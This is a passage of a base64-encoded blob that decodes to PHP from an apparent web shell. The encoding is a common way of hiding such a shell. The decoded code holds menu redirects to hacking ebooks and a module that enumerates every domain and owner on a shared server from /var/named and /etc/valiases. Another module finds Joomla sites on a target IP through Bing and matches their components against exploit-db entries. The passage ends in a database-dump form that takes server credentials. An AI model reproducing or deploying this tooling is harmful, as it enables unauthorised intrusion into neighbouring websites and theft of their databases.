vY2F0aW9uID0gJ2h0dHA6Ly94Y29kZS5vci5pZC9maWxlcy94Y29kZV9tYWdhemluZV8xLnppcCc7CgkJCTwvc2NyaXB0PgoJCQk8P3BocAoJCX0KCQllbHNlaWYgKCAkcGlsaWggPT0gJ3R1dG9yaWFsNScpIHsKCQkJPz4KCQkJPHNjcmlwdD4KCQkJCWRvY3VtZW50LmxvY2F0aW9uID0gJ2h0dHA6Ly94Y29kZS5vci5pZC9maWxlcy94Y29kZV9tYWdhemluZV8yLnppcCc7CgkJCTwvc2NyaXB0PgoJCQk8P3BocAoJCX0KCQllbHNlaWYgKCAkcGlsaWggPT0gJ3R1dG9yaWFsNicpIHsKCQkJPz4KCQkJPHNjcmlwdD4KCQkJCWRvY3VtZW50LmxvY2F0aW9uID0gJ2h0dHA6Ly94Y29kZS5vci5pZC9maWxlcy94Y29kZV9tYWdhemluZV8zLnppcCc7CgkJCTwvc2NyaXB0PgoJCQk8P3BocAoJCX0KCQllbHNlaWYgKCAkcGlsaWggPT0gJ3R1dG9yaWFsNycpIHsKCQkJPz4KCQkJPHNjcmlwdD4KCQkJCWRvY3VtZW50LmxvY2F0aW9uID0gJ2h0dHA6Ly94Y29kZS5vci5pZC9maWxlcy94Y29kZV9tYWdhemluZV80LnppcCc7CgkJCTwvc2NyaXB0PgoJCQk8P3BocAoJCX0KCQllbHNlaWYgKCAkcGlsaWggPT0gJ3R1dG9yaWFsOCcpIHsKCQkJPz4KCQkJPHNjcmlwdD4KCQkJCWRvY3VtZW50LmxvY2F0aW9uID0gJ2h0dHA6Ly94Y29kZS5vci5pZC9maWxlcy94Y29kZV9tYWdhemluZV81LnJhcic7CgkJCTwvc2NyaXB0PgoJCQk8P3BocAoJCX0KCQllbHNlaWYgKCAkcGlsaWggPT0gJ3R1dG9yaWFsOScpIHsKCQkJPz4KCQkJPHNjcmlwdD4KCQkJCWRvY3VtZW50LmxvY2F0aW9uID0gJ2h0dHA6Ly94Y29kZS5vci5pZC9maWxlcy94Y29kZV9tYWdhemluZV82LnJhcic7CgkJCTwvc2NyaXB0PgoJCQk8P3BocAoJCX0KCQllbHNlaWYgKCAkcGlsaWggPT0gJ3R1dG9yaWFsMTAnKSB7CgkJCT8+CgkJCTxzY3JpcHQ+CgkJCQlkb2N1bWVudC5sb2NhdGlvbiA9ICdodHRwOi8veGNvZGUub3IuaWQvZmlsZXMveGNvZGVfbWFnYXppbmVfNy5yYXInOwoJCQk8L3NjcmlwdD4KCQkJPD9waHAKCQl9CgkJZWxzZWlmICggJHBpbGloID09ICd0dXRvcmlhbDExJykgewoJCQk/PgoJCQk8c2NyaXB0PgoJCQkJZG9jdW1lbnQubG9jYXRpb24gPSAnaHR0cDovL3hjb2RlLm9yLmlkL2ZpbGVzL3hjb2RlX21hZ2F6aW5lXzgucmFyJzsKCQkJPC9zY3JpcHQ+CgkJCTw/cGhwCgkJfQoJCWVsc2VpZiAoICRwaWxpaCA9PSAndHV0b3JpYWwxMicpIHsKCQkJPz4KCQkJPHNjcmlwdD4KCQkJCWRvY3VtZW50LmxvY2F0aW9uID0gJ2h0dHA6Ly94Y29kZS5vci5pZC9maWxlcy94Y29kZTkuemlwJzsKCQkJPC9zY3JpcHQ+CgkJCTw/cGhwCgkJfQoJCWVsc2VpZiAoICRwaWxpaCA9PSAndHV0b3JpYWwxMycpIHsKCQkJPz4KCQkJPHNjcmlwdD4KCQkJCWRvY3VtZW50LmxvY2F0aW9uID0gJ2h0dHA6Ly94Y29kZS5vci5pZC9maWxlcy94Y29kZTEwLnppcCc7CgkJCTwvc2NyaXB0PgoJCQk8P3BocAoJCX0KCQllbHNlaWYgKCAkcGlsaWggPT0gJ3R1dG9yaWFsMTQnKSB7CgkJCT8+CgkJCTxzY3JpcHQ+CgkJCQlkb2N1bWVudC5sb2NhdGlvbiA9ICdodHRwOi8veGNvZGUub3IuaWQvZmlsZXMveGNvZGUxMS56aXAnOwoJCQk8L3NjcmlwdD4KCQkJPD9waHAKCQl9CgkJZWxzZWlmICggJHBpbGloID09ICd0dXRvcmlhbDE1JykgewoJCQk/PgoJCQk8c2NyaXB0PgoJCQkJZG9jdW1lbnQubG9jYXRpb24gPSAnaHR0cDovL3hjb2RlLm9yLmlkL2ZpbGVzL1hjb2RlMTIuemlwJzsKCQkJPC9zY3JpcHQ+CgkJCTw/cGhwCgkJfQoJCWVsc2VpZiAoICRwaWxpaCA9PSAndHV0b3JpYWwxNicpIHsKCQkJPz4KCQkJPHNjcmlwdD4KCQkJCWRvY3VtZW50LmxvY2F0aW9uID0gJ2h0dHA6Ly94Y29kZS5vci5pZC9maWxlcy9YY29kZTEzLnppcCc7CgkJCTwvc2NyaXB0PgoJCQk8P3BocAoJCX0KCQllbHNlaWYgKCAkcGlsaWggPT0gJ3R1dG9yaWFsMTcnKSB7CgkJCT8+CgkJCTxzY3JpcHQ+CgkJCQlkb2N1bWVudC5sb2NhdGlvbiA9ICdodHRwOi8veGNvZGUub3IuaWQvZmlsZXMvWGNvZGUxNC56aXAnOwoJCQk8L3NjcmlwdD4KCQkJPD9waHAKCQl9CgkJZWxzZWlmICggJHBpbGloID09ICd0dXRvcmlhbDE4JykgewoJCQk/PgoJCQk8c2NyaXB0PgoJCQkJZG9jdW1lbnQubG9jYXRpb24gPSAnaHR0cDovL3hjb2RlLm9yLmlkL1hjb2RlMTUuemlwJzsKCQkJPC9zY3JpcHQ+CgkJCTw/cGhwCgkJfQoJCWVsc2VpZiAoICRwaWxpaCA9PSAndHV0b3JpYWwxOScpIHsKCQkJPz4KCQkJPHNjcmlwdD4KCQkJCWRvY3VtZW50LmxvY2F0aW9uID0gJ2h0dHA6Ly94Y29kZS5vci5pZC94Y29kZV9tYWdhemluZV8xNi56aXAnOwoJCQk8L3NjcmlwdD4KCQkJPD9waHAKCQl9CgkJZWxzZWlmICggJHBpbGloID09ICd0dXRvcmlhbDIwJykgewoJCQk/PgoJCQk8c2NyaXB0PgoJCQkJZG9jdW1lbnQubG9jYXRpb24gPSAnaHR0cDovL3hjb2RlLm9yLmlkL3hjb2RlX21hZ2F6aW5lXzE3LnppcCc7CgkJCTwvc2NyaXB0PgoJCQk8P3BocAoJCX0KCQllbHNlaWYgKCAkcGlsaWggPT0gJ3R1dG9yaWFsMjEnKSB7CgkJCT8+CgkJCTxzY3JpcHQ+CgkJCQlkb2N1bWVudC5sb2NhdGlvbiA9ICdodHRwOi8veGNvZGUub3IuaWQveGNvZGVfbWFnYXppbmVfMTguemlwJzsKCQkJPC9zY3JpcHQ+CgkJCTw/cGhwCgkJfQoJCWVsc2VpZiAoICRwaWxpaCA9PSAndHV0b3JpYWwyMicpIHsKCQkJPz4KCQkJPHNjcmlwdD4KCQkJCWRvY3VtZW50LmxvY2F0aW9uID0gJ2h0dHA6Ly94Y29kZS5vci5pZC94Y29kZV9tYWdhemluZV8xOS56aXAnOwoJCQk8L3NjcmlwdD4KCQkJPD9waHAKCQl9CgkJZWxzZWlmICggJHBpbGloID09ICd0dXRvcmlhbDIzJykgewoJCQk/PgoJCQk8c2NyaXB0PgoJCQkJZG9jdW1lbnQubG9jYXRpb24gPSAnaHR0cDovL3hjb2RlLm9yLmlkL3hjb2RlX21hZ2F6aW5lXzIwLnppcCc7CgkJCTwvc2NyaXB0PgoJCQk8P3BocAoJCX0KCQllbHNlaWYgKCAkcGlsaWggPT0gJ3R1dG9yaWFsMDI0JykgewoJCQk/PgoJCQk8c2NyaXB0PgoJCQkJZG9jdW1lbnQubG9jYXRpb24gPSAnaHR0cDovL3hjb2RlLm9yLmlkL3hjb2RlX21hZ2F6aW5lXzIxLnppcCc7CgkJCTwvc2NyaXB0PgoJCQk8P3BocAoJCX0KCQkKCQllbHNlaWYgKCAkcGlsaWggPT0gJ3R1dG9yaWFsMjQnKSB7CgkJCT8+CgkJCTxzY3JpcHQ+CgkJCQlkb2N1bWVudC5sb2NhdGlvbiA9ICdodHRwOi8vd3d3Lmluc2VjdXJlLmluL2Vib29rcy9oYWNraW5nX2V4cG9zZWRfNS5yYXInOwoJCQk8L3NjcmlwdD4KCQkJPD9waHAKCQl9CgkJZWxzZWlmICggJHBpbGloID09ICd0dXRvcmlhbDI1JykgewoJCQk/PgoJCQk8c2NyaXB0PgoJCQkJZG9jdW1lbnQubG9jYXRpb24gPSAnaHR0cDovL3d3dy5pbnNlY3VyZS5pbi9lYm9va3MvaW50ZXJuZXRfZGVuaWFsX29mX3NlcnZpY2UucmFyJzsKCQkJPC9zY3JpcHQ+CgkJCTw/cGhwCgkJfQoJCWVsc2VpZiAoICRwaWxpaCA9PSAndHV0b3JpYWwyNicpIHsKCQkJPz4KCQkJPHNjcmlwdD4KCQkJCWRvY3VtZW50LmxvY2F0aW9uID0gJ2h0dHA6Ly93d3cuaW5zZWN1cmUuaW4vZWJvb2tzL2NvbXB1dGVyX3ZpcnVzZXNfZm9yX2R1bW1pZXMucmFyJzsKCQkJPC9zY3JpcHQ+CgkJCTw/cGhwCgkJfQoJCWVsc2VpZiAoICRwaWxpaCA9PSAndHV0b3JpYWwyNycpIHsKCQkJPz4KCQkJPHNjcmlwdD4KCQkJCWRvY3VtZW50LmxvY2F0aW9uID0gJ2h0dHA6Ly93d3cuaW5zZWN1cmUuaW4vZWJvb2tzL2hhY2tfYXR0YWNrc190ZXN0aW5nLnJhcic7CgkJCTwvc2NyaXB0PgoJCQk8P3BocAoJCX0KCQllbHNlaWYgKCAkcGlsaWggPT0gJ3R1dG9yaWFsMjgnKSB7CgkJCT8+CgkJCTxzY3JpcHQ+CgkJCQlkb2N1bWVudC5sb2NhdGlvbiA9ICdodHRwOi8vd3d3Lmluc2VjdXJlLmluL2Vib29rcy9zZWNyZXRzX29mX3N1cGVyX2hhY2tlci5yYXInOwoJCQk8L3NjcmlwdD4KCQkJPD9waHAKCQl9CgkJZWxzZWlmICggJHBpbGloID09ICd0dXRvcmlhbDI5JykgewoJCQk/PgoJCQk8c2NyaXB0PgoJCQkJZG9jdW1lbnQubG9jYXRpb24gPSAnaHR0cDovL3d3dy5pbnNlY3VyZS5pbi9lYm9va3Mvc3RlYWxpbmdfbmV0d29ya19ob3dfdG9fb3duX3NoYWRvdy5yYXInOwoJCQk8L3NjcmlwdD4KCQkJPD9waHAKCQl9CgkJZWxzZWlmICggJHBpbGloID09ICd0dXRvcmlhbDMwJykgewoJCQk/PgoJCQk8c2NyaXB0PgoJCQkJZG9jdW1lbnQubG9jYXRpb24gPSAnaHR0cDovL3d3dy5pbnNlY3VyZS5pbi9lYm9va3Mvd2ViYXBwX2hhY2tlcnNfaGFuZGJvb2sucmFyJzsKCQkJPC9zY3JpcHQ+CgkJCTw/cGhwCgkJfQoJCWVsc2VpZiAoICRwaWxpaCA9PSAnZGRkJykgewoJCQk/PgoJCQk8c2NyaXB0PgoJCQkJZG9jdW1lbnQubG9jYXRpb24gPSAnaHR0cDovLzE5OS45MS4xNTMuOTUvdDhkbmk3azYzOWhnLzNvMzIxbGN3d2s4dTViaC9PcGVuX1NvdXJjZV9TZWN1cml0eV9Ub29scy5wZGYnOwoJCQk8L3NjcmlwdD4KCQkJPD9waHAKCQl9CgkJZWxzZWlmICggJHBpbGloID09ICd0dXRvcmlhbDMxJykgewoJCQk/PgoJCQk8c2NyaXB0PgoJCQkJZG9jdW1lbnQubG9jYXRpb24gPSAnaHR0cDovLzIwNS4xOTYuMTIxLjE0OS9zZzIyaG04cWpiaGcvYWZzYTdpYmJrNG55MmtkL01vYmlsZV9NYWx3YXJlX0F0dGFja3NfYW5kX0RlZmVuc2UucGRmJzsKCQkJPC9zY3JpcHQ+CgkJCTw/cGhwCgkJfQoJCWVsc2VpZiAoICRwaWxpaCA9PSAnY3J5cHRvZ3JhcGh5X2Zvcl9kZWZlbG9wZXInKSB7CgkJCT8+CgkJCTxzY3JpcHQ+CgkJCQlkb2N1bWVudC5sb2NhdGlvbiA9ICdodHRwOi8vMjA1LjE5Ni4xMjEuMjQ4LzBzb2QzM3F3NjZ1Zy93eXB5ejU1NXNjOWJuN2gvQ3J5cHRvZ3JhcGh5X2Zvcl9EZXZlbG9wZXJzLnBkZic7CgkJCTwvc2NyaXB0PgoJCQk8P3BocAoJCX0KCQllbHNlaWYgKCAkcGlsaWggPT0gJ2ZvcmVuc2ljJykgewoJCQk/PgoJCQk8c2NyaXB0PgoJCQkJZG9jdW1lbnQubG9jYXRpb24gPSAnaHR0cDovLzIwNS4xOTYuMTIwLjg1L3Vpc2ViZ21pb3lqZy82bDcwbDAwYmE5eW9rc3EvQ0RfYW5kX0RWRF9Gb3JlbnNpY3MucGRmJzsKCQkJPC9zY3JpcHQ+CgkJCTw/cGhwCgkJfQoJCWVsc2VpZiAoICRwaWxpaCA9PSAnbWV0YXNwbG9pdCcpIHsKCQkJPz4KCQkJPHNjcmlwdD4KCQkJCWRvY3VtZW50LmxvY2F0aW9uID0gJ2h0dHA6Ly8xOTkuOTEuMTUzLjE5Mi8zdDExNXAyZjZndmcvenZycmRkbXE2aWNxdGQyL01ldGFzcGxvaXRfVG9vbGtpdC5wZGYnOwoJCQk8L3NjcmlwdD4KCQkJPD9waHAKCQl9ZWxzZWlmICggJHBpbGloID09ICdzdGVhbGluZ19uZXR3b3JrJykgewoJCQk/PgoJCQk8c2NyaXB0PgoJCQkJZG9jdW1lbnQubG9jYXRpb24gPSAnaHR0cDovLzIwNS4xOTYuMTIzLjEzOC93YnN4bHRiOHJidGcvNXZtOGExZDIzaTl6amUzL1N0ZWFsaW5nX3RoZV9OZXR3b3JrXy1fSG93X3RvX093bl90aGVfQm94LnBkZic7CgkJCTwvc2NyaXB0PgoJCQk8P3BocAoJCX1lbHNlaWYgKCAkcGlsaWggPT0gJ3NlY3VyaXR5X3BvbGljZXMnKSB7CgkJCT8+CgkJCTxzY3JpcHQ+CgkJCQlkb2N1bWVudC5sb2NhdGlvbiA9ICdodHRwOi8vMTk5LjkxLjE1My43My82bGUwMWY1NjJlaGcvNmw1ZXAwMjFkaHZsaGxxL0NyZWF0aW5nX1NlY3VyaXR5X1BvbGljaWVzX2FuZF9JbXBsZW1lbnRpbmdfSWRlbnRpdHlfTWFuYWdlbWVudF93aXRoX0FjdGl2ZV9EaXJlY3RvcnkucGRmJzsKCQkJPC9zY3JpcHQ+CgkJCTw/cGhwCgkJfQp9Cgp9Ci8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCgovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdjbXNfZGV0ZWN0JykpCiAgICB7CiAgICA/PgogICAgPGZvcm0gYWN0aW9uPSI/eT08P3BocCBlY2hvICRwd2Q7ID8+Jng9Y21zX2RldGVjdCIgbWV0aG9kPSJwb3N0Ij4KCTxicj48YnI+PGJyPjxicj48Y2VudGVyPjxiPjxmb250IHNpemU9ND4tLT1bIENNUyBEZXRlY3RvciBdPS0tPC9mb250PjwvYj48L2NlbnRlcj48YnI+PGJyPgogICAgPD9waHAKaWYoIWZpbGVfZXhpc3RzKCdwZWUudG1wJykpewpAZm9wZW4oJ3BlZS50bXAnLCAndycpOwoKZWNobyc8dGFibGUgYWxpZ249ImNlbnRlciIgYm9yZGVyPSIxIiB3aWR0aD0iNDUlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjQiIGNsYXNzPSJ0ZDEiPic7CmVjaG8nPHRyPjx0ZD48Y2VudGVyPjxiPlNJVEU8L2I+PC9jZW50ZXI+PC90ZD48dGQ+PGNlbnRlcj48Yj5VU0VSPC9iPjwvY2VudGVyPjwvdGQ+PHRkPjxjZW50ZXI+PGI+Q01TPC9iPjwvY2VudGVyPjwvdGQ+PC90YWJsZT4nOwoKJHAgPSAwOwoKaWYoaXNfcmVhZGFibGUoIi92YXIvbmFtZWQiKSl7CiRsaXN0ID0gc2NhbmRpcigiL3Zhci9uYW1lZCIpOwokY3VycmVudF9kaXIgPSBwb3NpeF9nZXRjd2QoKTsKJGRpciA9IGV4cGxvZGUoIi8iLCRjdXJyZW50X2Rpcik7CmZvcmVhY2goJGxpc3QgYXMgJGRvbWFpbil7CmlmKHN0cnBvcygkZG9tYWluLCIuZGIiKSkKewoJJGRvbWFpbiA9IHN0cl9yZXBsYWNlKCcuZGInLCcnLCRkb21haW4pOwoJJG93bmVyID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGRvbWFpbikpOwoJCmVycm9yX3JlcG9ydGluZygwKTsKCiRsaW5rID0gJHBhZ2VVUkwuJ3BlZS8nLiRvd25lclsnbmFtZSddOwoKY21zX2FkZCgkbGluaywkZG9tYWluLCRvd25lclsnbmFtZSddLCJXb3JkUHJlc3MiKTsKY21zX2FkZCgkbGluaywkZG9tYWluLCRvd25lclsnbmFtZSddLCJKb29tbGEiKTsKY21zX2FkZCgkbGluaywkZG9tYWluLCRvd25lclsnbmFtZSddLCJ2QnVsbGV0aW4iKTsKY21zX2FkZCgkbGluaywkZG9tYWluLCRvd25lclsnbmFtZSddLCJXSE1DUyIpOwpjbXNfYWRkKCRsaW5rLCRkb21haW4sJG93bmVyWyduYW1lJ10sIlBocEJCIik7CmNtc19hZGQoJGxpbmssJGRvbWFpbiwkb3duZXJbJ25hbWUnXSwiTXlCQiIpOwpjbXNfYWRkKCRsaW5rLCRkb21haW4sJG93bmVyWyduYW1lJ10sIklQQiIpOwpjbXNfYWRkKCRsaW5rLCRkb21haW4sJG93bmVyWyduYW1lJ10sIlNNRiIpOwpjbXNfYWRkKCRsaW5rLCRkb21haW4sJG93bmVyWyduYW1lJ10sIkRydXBhbCIpOwpjbXNfYWRkKCRsaW5rLCRkb21haW4sJG93bmVyWyduYW1lJ10sImUxMDciKTsKY21zX2FkZCgkbGluaywkZG9tYWluLCRvd25lclsnbmFtZSddLCJTZWRpdGlvIik7CmNtc19hZGQoJGxpbmssJGRvbWFpbiwkb3duZXJbJ25hbWUnXSwib3NDb21tZXJjZSIpOwoKfQp9Cn0KfWVsc2V7CmVjaG8nPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjQ1JSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSI0IiBjbGFzcz0idGQxIj4nOwplY2hvJzx0cj48dGQ+PGNlbnRlcj48Yj5TSVRFPC9iPjwvY2VudGVyPjwvdGQ+PHRkPjxjZW50ZXI+PGI+VVNFUjwvYj48L2NlbnRlcj48L3RkPjx0ZD48Y2VudGVyPjxiPkNNUzwvYj48L2NlbnRlcj48L3RkPjwvdGFibGU+PGJyPjxicj4nOwokY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRwYWdlVVJMLidwZWUudG1wJyk7CmVjaG8gJGNvbnRlbnQ7Cn0KfQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ2pzcycpKQogICAgewogICAgPz4KICAgIDxmb3JtIGFjdGlvbj0iP3k9PD9waHAgZWNobyAkcHdkOyA/PiZ4PWpzcyIgbWV0aG9kPSJwb3N0Ij4KICAgIDw/cGhwCgllY2hvICcKCjxicj48YnI+PGJyPjxwIGFsaWduPSJjZW50ZXIiPjxiPjxmb250IHNpemU9IjMiPkVudGVyIFRhcmdldGluZyBJUDwvZm9udD48L2I+PC9wPjxicj4KPGZvcm0gbWV0aG9kPSJQT1NUIj4KICAgICAgICA8cCBhbGlnbj0iY2VudGVyIj48aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImlucHV0eiIgbmFtZT0ic2l0ZSIgc2l6ZT0iNjUiPjxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTY2FuIj48L3A+CjwvZm9ybT48Y2VudGVyPgoKJzsKQHNldF90aW1lX2xpbWl0KDApOwpAZXJyb3JfcmVwb3J0aW5nKEVfQUxMIHwgRV9OT1RJQ0UpOwogCmZ1bmN0aW9uIGNoZWNrX2V4cGxvaXQoJGNvbXh4KXsKIAokbGluayA9Imh0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vc2VhcmNoLz9hY3Rpb249c2VhcmNoJmZpbHRlcl9wYWdlPTEmZmlsdGVyX2Rlc2NyaXB0aW9uPSRjb214eCZmaWx0ZXJfZXhwbG9pdF90ZXh0PSZmaWx0ZXJfYXV0aG9yPSZmaWx0ZXJfcGxhdGZvcm09MCZmaWx0ZXJfdHlwZT0wJmZpbHRlcl9sYW5nX2lkPTAmZmlsdGVyX3BvcnQ9JmZpbHRlcl9vc3ZkYj0mZmlsdGVyX2N2ZT0iOwogCiRyZXN1bHQgPSBAZmlsZV9nZXRfY29udGVudHMoJGxpbmspOwogCmlmIChlcmVnaSgiTm8gcmVzdWx0cyIsJHJlc3VsdCkpICB7CiAKZWNobyI8dGQ+Tm90IEZvdW5kPC90ZD48dGQ+PGEgaHJlZj0naHR0cDovL3d3dy5nb29nbGUuY29tLyNobD1lbiZxPWRvd25sb2FkKyRjb214eCtqb29tbGErZXh0ZW5zaW9uJz5Eb3dubG9hZDwvYT48L3RkPjwvdHI+IjsKIAp9ZWxzZXsKIAplY2hvIjx0ZD48YSBocmVmPSckbGluayc+Rm91bmQ8L2E+PC90ZD48dGQ+PD08L3RkPjwvdHI+IjsKIAp9Cn0KIApmdW5jdGlvbiBjaGVja19jb20oJHVybCl7CiAKJHNvdXJjZSA9IEBmaWxlX2dldF9jb250ZW50cygkdXJsKTsKIApwcmVnX21hdGNoX2FsbCgne29wdGlvbiwoLio/KS99aScsJHNvdXJjZSwkZik7CnByZWdfbWF0Y2hfYWxsKCd7b3B0aW9uPSguKj8pKCZhbXA7fCZ8Iil9aScsJHNvdXJjZSwkZjIpOwpwcmVnX21hdGNoX2FsbCgney9jb21wb25lbnRzLyguKj8pL31pJywkc291cmNlLCRmMyk7CiAKJGFyej1hcnJheV9tZXJnZSgkZjJbMV0sJGZbMV0sJGYzWzFdKTsKIAokY29tcz1hcnJheSgpOwogCmZvcmVhY2goYXJyYXlfdW5pcXVlKCRhcnopIGFzICR4KXsKJGNvbXNbXT0keDsKfQogCmZvcmVhY2goJGNvbXMgYXMgJGNvbW0pewogCmVjaG8gIjx0cj48dGQ+JGNvbW08L3RkPiI7CmNoZWNrX2V4cGxvaXQoJGNvbW0pOwp9CiAKfQogCmZ1bmN0aW9uIHNlYygkc2l0ZSl7CnByZWdfbWF0Y2hfYWxsKCd7aHR0cDovLyguKj8pKC9pbmRleC5waHApfXNpVScsJHNpdGUsICRzaXRlcyk7CmlmKGVyZWdpKCJ3d3ciLCRzaXRlc1swXVswXSkpewpyZXR1cm4gJHNpdGU9c3RyX3JlcGxhY2UoImluZGV4LnBocCIsIiIsJHNpdGVzWzBdWzBdKTsKfWVsc2V7CnJldHVybiAkc2l0ZT1zdHJfcmVwbGFjZSgiaHR0cDovLyIsImh0dHA6Ly93d3cuIixzdHJfcmVwbGFjZSgiaW5kZXgucGhwIiwiIiwkc2l0ZXNbMF1bMF0pKTsKfX0KIAokbnBhZ2VzID0gNTAwMDA7CiAKaWYgKCRfUE9TVCkKewogICRpcCA9IHRyaW0oc3RyaXBfdGFncygkX1BPU1RbJ3NpdGUnXSkpOwogICRucGFnZSA9IDE7CiAgJGFsbExpbmtzID0gYXJyYXkoKTsKIAogCiAgIHdoaWxlKCRucGFnZSA8PSAkbnBhZ2VzKQogIHsKIAogICR4PUBmaWxlX2dldF9jb250ZW50cygnaHR0cDovL3d3dy5iaW5nLmNvbS9zZWFyY2g/cT1pcCUzQScgLiAkaXAgLiAnK2luZGV4LnBocD9vcHRpb249Y29tJmZpcnN0PScgLiAkbnBhZ2UpOwogCiAKICAgICAgICBpZiAoJHgpCiAgICAgICAgewogICAgICAgICAgICAgICAgcHJlZ19tYXRjaF9hbGwoJyg8ZGl2IGNsYXNzPSJzYl90bHN0Ij4uKjxoMz4uKjxhIGhyZWY9IiguKikiLio+KC4qKTwvYT4uKjwvaDM+Lio8L2Rpdj5zaVUnLCAkeCwgJGZpbmRsaW5rKTsKICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaW5kbGlua1sxXSBhcyAkZmwpCiAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAkYWxsTGlua3NbXT1zZWMoJGZsKTsKICAgICAgICAgICAgICAKICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICRucGFnZSA9ICRucGFnZSArIDEwOwogICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goJyhmaXJzdD0nIC4gJG5wYWdlIC4gJyZhbXApc2lVJywgJHgsICRsaW5rc3VpdikgPT0gMCkKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7ICAgICAgICAgICAgICAgICAgICAKICAgICAgICB9CiAgICAgIAogICAgZWxzZQogICAgICAgICAgICAgICAgYnJlYWs7CiAgfQogCiAKJGFsbERtbnMgPSBhcnJheSgpOwogCmZvcmVhY2ggKCRhbGxMaW5rcyBhcyAka2sgPT4gJHZ2KXsKIAokYWxsRG1uc1tdID0gJHZ2Owp9CiAgICAgICAgICAgICAgICAgICAgICAKZWNobyc8dGFibGUgYm9yZGVyPSIxIiAgd2lkdGg9XCI4MCVcIiBhbGlnbj1cImNlbnRlclwiPgo8dHI+PHRkIHdpZHRoPVwiMzAlXCI+PGI+U2VydmVyIElQJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IDogPC9iPjwvdGQ+PHRkPjxiPicuJGlwLic8L2I+PC90ZD48L3RyPiAgICAgICAgICAgICAgICAgICAgCjx0cj48dGQgd2lkdGg9XCIzMCVcIj48Yj5TaXRlcyBGb3VuZCZuYnNwOyA6IDwvYj48L3RkPjx0ZD48Yj4nLmNvdW50KGFycmF5X3VuaXF1ZSgkYWxsRG1ucykpLic8L2I+PC90ZD48L3RyPgo8L3RhYmxlPic7CmVjaG8gIjxicj48YnI+IjsKIAplY2hvJzx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSI4MCUiIGFsaWduPVwiY2VudGVyXCI+JzsKIApmb3JlYWNoKGFycmF5X3VuaXF1ZSgkYWxsRG1ucykgYXMgJGgzaDMpewogCmVjaG8nPHRyIGlkPW5ldz48dGQ+PGI+PGEgaHJlZj0nLiRoM2gzLic+Jy4kaDNoMy4nPC9hPjwvYj48L3RkPjx0ZD48Yj5FeHBsb2l0LWRiPC9iPjwvdGQ+PHRkPjxiPmNoYWxsZW5nZSBvZiBFeHBsb2l0aW5nIC4uITwvYj48L3RkPjwvdHI+JzsKIApjaGVja19jb20oJGgzaDMpOwogCn0KIAplY2hvIjwvdGFibGU+IjsKIAp9Cn0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdkdW1wJykpCiAgICB7CiAgICA/PgogICAgPGZvcm0gYWN0aW9uPSI/eT08P3BocCBlY2hvICRwd2Q7ID8+Jng9ZHVtcCIgbWV0aG9kPSJwb3N0Ij4KICAgIDw/cGhwCmVjaG8gJGhlYWQuJzxwIGFsaWduPSJjZW50ZXIiPic7CmVjaG8gJwo8dGFibGUgd2lkdGg9MzcxIGNsYXNzPXRhYm5ldCA+Cjx0cj48dGggY29sc3Bhbj0iMiI+RGF0YWJhc2UgRHVtcDwvdGg+PC90cj4KPHRyPgoJPHRkPlNlcnZlciA8L3RkPgoJPHRkPjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPXRleHQgbmFtZT1zZXJ2ZXIgc2l6ZT01Mj48L3RkPjwvdHI+PHRyPgoJPHRkPlVzZXJuYW1lPC90ZD4KCTx0ZD48aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT10ZXh0IG5hbWU9dXNlcm5hbWUgc2l6ZT01Mj48L3RkPjwvdHI+PHRyPgoJPHRkPlBhc3N3b3JkPC90ZD4KCTx0ZD48aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT10ZXh0IG5hbWU9cGFzc3dvcmQgc2l6ZT01Mj48L3RkPjwvdHI+PHRyPgoJPHRkPkRhdGFCYXNlIE5hbWU8L3RkPgoJPHRkPjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPXRleHQgbmFtZT1kYm5hbWUgc2l6ZT01Mj48L3RkPjwvdHI+Cgk8dHI+Cgk8dGQ+REIgVHlwZSA8L3RkPgoJPHRkPjxmb3JtIG1ldGhvZD1wb3N0IGFjdGlvbj0iJy4kbWUuJyI+Cgk8c2VsZWN0IGNsYXNzPSJpbnB1dHoiIG5hbWU9bWV0aG9kPgoJCTxvcHRpb24gIHZhbHVlPSJnemlwIj5HemlwPC9vcHRpb24+CgkJPG9wdGlvbiB2YWx1ZT0ic3FsIj5TcWw8L29wdGlvbj4KCQk8L3NlbGVjdD4KCTxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0IiB0eXBlPXN1Ym1pdCB2YWx1ZT0iICBEdW1wISAgIiA+PC90ZD48L3RyPgoJPC9mb3JtPjwvY2VudGVyPjwvdGFibG